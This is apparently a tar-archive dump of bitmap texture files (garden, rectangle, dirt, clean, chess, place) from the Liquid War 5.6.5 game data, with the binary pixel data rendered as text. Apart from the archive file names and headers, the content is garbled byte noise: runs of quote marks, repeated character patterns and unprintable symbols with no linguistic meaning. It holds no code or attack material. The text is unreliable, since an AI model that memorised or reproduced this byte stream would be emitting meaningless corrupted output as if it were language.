""""""""DD""""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""&fffb"""""""""""""""""""""""""""""DD""""")""""""""DD""""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""fffb""""""""""""""""""""""""""""""DD""""" """"""""DD"""'r""'r""'r""'r""'r"$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""ffb"""'r""'r""'r""'r""'r""'r""'r""DD""""")""""""""DD"""'r""'r""'r""'r""'r"$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""ffb"""'r""'r""'r""'r""'r""'r""'r""DD""""")""""""""DDB"""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""fffb"""""""""""""""""""""""""""""$DD""""")""""""""DB"""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""&fffb""""""""""""""""""""""""""""$AD""""" """"""""DD"""""""""""""""""""""$AB"""""""""""""""""""""""""""""""""""""""""""""""""""""&ffffb"""""""""""""""""""""""""""DAD""""")""""""""DD"""""""""""""""""""""DAD""""""""""""""""""""""""""""""""""""""""""""""""""""""ffff""""""""""""""""""""""""""""DD""""" """"""""DDD"""""""""""""""""""$DDB""""""""""""""""""""""""""""""""""""""""""""""""""""""ff""""""""""""""""""""""""""""DDD""""")""""""""DDD""""""""""""""""""DAD"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""DDAD""""" """"""""DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAD""""")""""""""DADDDDDDDDDDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAD""""" """"""""$AB""""")""""""""$AB""""")""""""""$DDB""""")"""""""""DAD"""""")"""""""""$DDB"""""")""""""""""DDADD""""""" """"""""""$DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDB""""""")""""""""""""DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD""""""""" """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""")""liquidwar-5.6.5/data/maptex/garden.orig.bmp0000664000372000037200000020537413407756104020262 0ustar travistravisBM (  !!Eڭܲ޹߽                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        liquidwar-5.6.5/data/maptex/rectangle.orig.bmp0000664000372000037200000020537013407756104020762 0ustar travistravisBM (    {hygߒَԋщʄĀ~}plygveram]ψƂcU                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              liquidwar-5.6.5/data/maptex/dirt.orig.bmp0000664000372000037200000020537013407756104017760 0ustar travistravisBM ( оhv2DG>PSPfj\rv #%'58G[_f       4    f                             0*    c7           )"              8           !     3!          3!            L<              (             !          p/                         .k$           ~                     f          0#                       !                          (         vA       3!   v       L<             v               3!        )"           0#                   c7                         /                                 T!>    f     !                                                  L<                       !         (      0#                                   2             c7                                                                                                                                            @                      ^                                                                                         )"                                                                           !                                                                                                                                                                                       8                                     3!                                                :[+                   3!                 2+                               2              3!                                  ~                  !                    +                                         !             @                    +                  3!          )"                                                                                                      (                                                          f                                                                              p/                  !                   f               v                                               3!           )"          c7     v                                                                                                                                                                                                                                    (         5         ~             3!       .  \  $_ mq;`t0 2q{w5[eliquidwar-5.6.5/data/maptex/clean.orig.bmp0000664000372000037200000020537413407756104020104 0ustar travistravisBM (  !!a~T\xPtesdm_whzkqru}ŨħufvgoafY|nwx{£ ,{# ;A9;,{#;A9%,{#;A9% A9 ; A9%A9 ;,{#;A9; ,{#  ;   A9   ; ,{#   ;A9% A9 ;A9 % A9 ;  ;  A9  ; ,{#   ; A9 ; ,{#  ; A9    ;   A9   ;  A9   % A9 ;  A9  ;  A9  ;  A9  ;   A9   ;  x  ;  ":     A9     A9   :  ":     ":     ":  ; A9  ;  ":   ;  x   ;  ":     A9     ":       ":        A9  ;  A9    ":    ":    ":  ": ;  A9  ;  ":    A9   A9  A9 ; A9 ;  ": ; ":  ":  ;  ":  A9 ; ":   A9  ; A9     ": ;    A9 ;   A9 ;  A9 ;  A9 ;    ;  A9 ; A9;A9;A9; A9;A9;A9;A9 ;A>9; A9; A9;A9;A9;A9;A9;A9;A9;A9;A9; A9 ;A91A9 ;A9 ;A9;A9;A9;A9; A9 ;A9;A9 ;A9;A9; A9;A9; A9 ; A9;A9;A9;A9-$; A9 ; -$  ; A9 & A9 ;  A9 & A9 ; A9  ; A9 ; -$ ;liquidwar-5.6.5/data/maptex/chess.orig.bmp0000664000372000037200000020520013407756104020113 0ustar travistravisBM >(  liquidwar-5.6.5/data/maptex/place.orig.bmp0000664000372000037200000020625413407756104020104 0ustar travistravisBM j(  hYwdxewdzgyfxfxdj}i|hkj~ikopvv{zy~~Ƴ°ıðɷòɸ̻ȸ˻ʻşĞѨˣԫӪҩ֬׭Шحح~Ydedgfdjfjiihkkopvv{zy~~ƒɕđÐɕÐ̘ȕ˘ʗӟҞިأߩܨn-' -                    MIIKRPTHEMIIKRPTHEMIIKRPTHE7&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)47&)4}dacloyeL}dacloyeL}dacloyeLA2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tS"(A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQ0=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJJJ?+?+?+?+?+?+?+?+?+?+?+?+?+?+?+?+?+?+?+?+_VW\dr^G_VW\dr^G_VW\dr^G; %; %; %; %; %; %; %; %; %; %; %; %; %; %; %; %; %; %; %; %YOUX_k]NYOUX_k]NYOUX_k]NW.VC0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZFCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;U(U   MIIKRPTHEMIIKRPTHEMIIKRPTHE}47&)47&)47&)4}dacloyeL}dacloyeL}dacloyeLA2!*89<1 A2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tS[!A,".5:- A,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQ4?8=#36'=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJH?+?+?+_VW\dr^G_VW\dr^G_VW\dr^GVS; %; %; %YOUX_k]NYOUX_k]NYOUX_k]NXC0 (/$C0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZWhUFCB;>@D@;FCB;>@D@;FCB;>@D@;MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeLb9zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tS8yA_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^Gn-YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N3 8pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZ' -MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE  MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE-}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)47&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeLzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tS,2sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQ-3i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJJ(_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^GYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZ%FCB;>@D@;FCB;>@D@;MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE }dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 U(Usbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- -i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'SzR_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %4?8pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$FCB;>@D@;TATMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE X}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 :sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- 6:i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'3_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+9AFCB;>@D@;1MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE     }dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)47&)47&)47&)47&)4"*zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 ' -sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- A,".5:- A,".5:- A,".5:- A,".5:- i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'=#36'=#36'=#36'=#36'.3_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+?+?+?+?+YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %; %; %; %; %-3pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$C0 (/$C0 (/$C0 (/$C0 (/$FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;  MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE 7&)47&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)4A2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 A,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- 3B=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'?+?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+15; %; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %C0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$FCB;>@D@;FCB;>@D@;FCB;>@D@;      MIIKRPTHEMIIKRPTHEMIIKRPTHE7&)47&)47&)47&)47&)47&)4}dacloyeL}dacloyeL}dacloyeLA2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tSA,".5:- A,".5:- A,".5:- A,".5:- A,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQ=#36'=#36'=#36'=#36'=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJ?+?+?+?+?+?+_VW\dr^G_VW\dr^G_VW\dr^G; %; %; %; %; %; %YOUX_k]NYOUX_k]NYOUX_k]NC0 (/$C0 (/$C0 (/$C0 (/$C0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZFCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;FCB;>@D@;   MIIKRPTHEMIIKRPTHEMIIKRPTHE7&)47&)47&)4}dacloyeL}dacloyeL}dacloyeLA2!*89<1 A2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tSA,".5:- A,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQ,!;=#36'=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJ?+?+?+_VW\dr^G_VW\dr^G_VW\dr^G.f=; %; %; %YOUX_k]NYOUX_k]NYOUX_k]NC0 (/$C0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZFCB;>@D@;FCB;>@D@;FCB;>@D@;MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE$}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeLzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tS#(sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJNJM_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^GYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N=?pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZ15MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE  MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE8}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL7&)47&)4}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeLzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSA2!*89<1 A2!*89<1 zgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tS-sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQA,".5:- A,".5:- sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQ'k5i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ=#36'=#36'i[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ[!_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G?+?+_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G-R=YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N; %; %YOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]NYOUX_k]N/pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZC0 (/$C0 (/$pY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZpY`fnxjZFCB;>@D@;FCB;>@D@;0MIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHEMIIKRPTHE=1A}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeL}dacloyeLzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tSzgq~tS!'sbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQsbhv{uQi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJi[]cw|mJ(%_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\dr^G_VW\d